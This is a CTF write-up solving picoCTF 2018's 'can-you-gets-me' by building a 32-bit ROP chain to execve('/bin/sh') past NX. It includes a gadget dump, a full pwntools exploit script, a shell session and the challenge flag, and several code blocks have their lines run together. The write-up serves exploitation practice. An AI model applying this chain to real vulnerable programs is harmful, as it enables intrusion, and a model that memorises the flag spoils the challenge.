I mainly followed [this write-up](http://barrebas.github.io/blog/2015/06/28/rop-primer-level0/) through my steps.
-----
## Main idea:
```EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q getsReading symbols from gets...(no debugging symbols found)...done.gdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partialgdb-peda$ ```
NX is enabled, meaning you can't use shellcode or put anything on the stack in order to execute it.
If we look at the source code, you can see that we don't have a system call or anything, only gets() 
This means that we want to build a ROP chain for execve("/bin/sh").
-----
## How?
**We're going to do this using gadgets.**
Gadgets, in this case, will help you store information in the registers because the system call uses registers to pass on arguments (this may depend on the situation because arguments can be passed on the stack as well.) 
You could either refer to the [linux sys call page](http://syscalls.kernelgrok.com/) or check out the man page to execve.
```int execve(const char *filename (EBX), char *const argv[] (ECX), char *const envp[] (EDX));```  
. 
Ultimately you want to set the registers to the following values (through ROP):  
```eax = 0x0bebx = address of "/bin/sh"ecx = 0edx = 0```   .		
Find read/writeable space (to write the string  "/bin/sh") - because remember, you can't do anything on the stack.  
```Breakpoint 1, 0x080488b1 in main ()gdb-peda$ vmmapStart      End        Perm	Name0x08048000 0x080e9000 r-xp	/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets>> 0x080e9000 0x080eb000 rw-p	/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets <<0x080eb000 0x080ec000 rw-p	mapped0x098a7000 0x098c9000 rw-p	[heap]0xf76fc000 0xf76ff000 r--p	[vvar]0xf76ff000 0xf7700000 r-xp	[vdso]0xffd05000 0xffd26000 rw-p	[stack]```  
.Dump your gadgets (I used ROPgadget)  
```< Pop from stack >0x080b81c6 : pop eax ; ret0x0806f051 : pop ecx ; pop ebx ; ret0x0806f02a : pop edx ; ret
< Move eax to *edx >0x080549db : mov dword ptr [edx], eax ; ret
< Zero-out eax >0x08049303 : xor eax, eax ; ret
< Zero-out ecx, edx >0x080d5dc1 : inc ecx ; ret0x0805d097 : inc edx ; ret
< Increase eax >0x0808f097 : add eax, 2 ; ret0x0808f0b0 : add eax, 3 ; ret
< Syscall >0x0806cc25 : int 0x800x080481b2 : ret```  
At first, I calculated the padding wrong - I wrote 20 bytes instead of 28.
I realized this because for some reason my exploit was ignoring the first few instructions. 
How I debugged my ROP payload is documented [here.](https://evertokki.tistory.com/256?category=1036285)
I didn't document my process in detail, but that's because the writeup I provided at the beginning walks through the process quite thoroughly.
-----
## The exploit
```from pwn import *
r = process('/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets') #r = process('/home/EverTokki/rop/gets')
writeable_memory = 0x080e9040binsh = 0x80e9040int80 = 0x0806cc25ret = 0x080481b2
pop_eax = 0x080b81c6pop_edx = 0x0806f02apop_ecx_ebx = 0x0806f051mov_eax_to_edx = 0x080549db
set_eax_zero = 0x08049303add_eax_two = 0x0808f097add_eax_three = 0x0808f0b0
inc_ecx = 0x080d5dc1 inc_edx = 0x0805d097 
payload = ""payload += "A"*28 # reaching the saved return address
payload += p32(pop_edx) 		 # pop edx; retpayload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) 		 # pop eax; retpayload += "/bin"        		 # first part of /bin/sh
payload += p32(mov_eax_to_edx)	 # mov dword ptr[edx], eax; ret
writeable_memory += 4
payload += p32(pop_edx) 		 # pop edx; retpayload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax)   		 # pop eax; retpayload += "/shX"         		 # null-terminate this string later
payload += p32(mov_eax_to_edx)   # mov dword ptr[edx], eax; ret
writeable_memory += 3
payload += p32(set_eax_zero) 	 # xor eax, eax; ret - sets eax to 0payload += p32(pop_edx) 		 # pop edx; ret
payload += p32(writeable_memory) # make the string NULL terminatedpayload += p32(mov_eax_to_edx)   # mov dword ptr[edx], eax; ret
payload += p32(pop_ecx_ebx) 	 # pop ecx ; pop ebx ; retpayload += p32(0xffffffff) 		 # ecx --> will add 1 to zero it outpayload += p32(binsh)		     # ebx --> /bin/sh
payload += p32(inc_ecx)			 # inc ecx ; ret
payload += p32(pop_edx) 	     # pop edx retpayload += p32(0xffffffff) 		 # edx --> will add 1 to zero it out
payload += p32(inc_edx)			 # inc edx ; ret
payload += p32(set_eax_zero) 	 # xor eax, eax; ret payload += p32(add_eax_three)payload += p32(add_eax_three)payload += p32(add_eax_three)payload += p32(add_eax_two)		# eax = 0x0b
payload += p32(int80)payload += p32(ret)
#print payload
print r.recvuntil("GIVE ME YOUR NAME!")r.send(payload)r.interactive()```
```EverTokki@pico-2018-shell:~/rop$ python rop_exp.py [+] Starting local process '/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets': pid 153530GIVE ME YOUR NAME![*] Switching to interactive mode
$ cd /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/$ lsflag.txt  gets    gets.c$ cat flag.txtpicoCTF{rOp_yOuR_wAY_tO_AnTHinG_f5072d23}$  ```
-----
**Further readings:**
[https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a](https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a)
[https://css.csail.mit.edu/6.858/2014/readings/i386.pdf](https://css.csail.mit.edu/6.858/2014/readings/i386.pdf)
[https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/](https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/)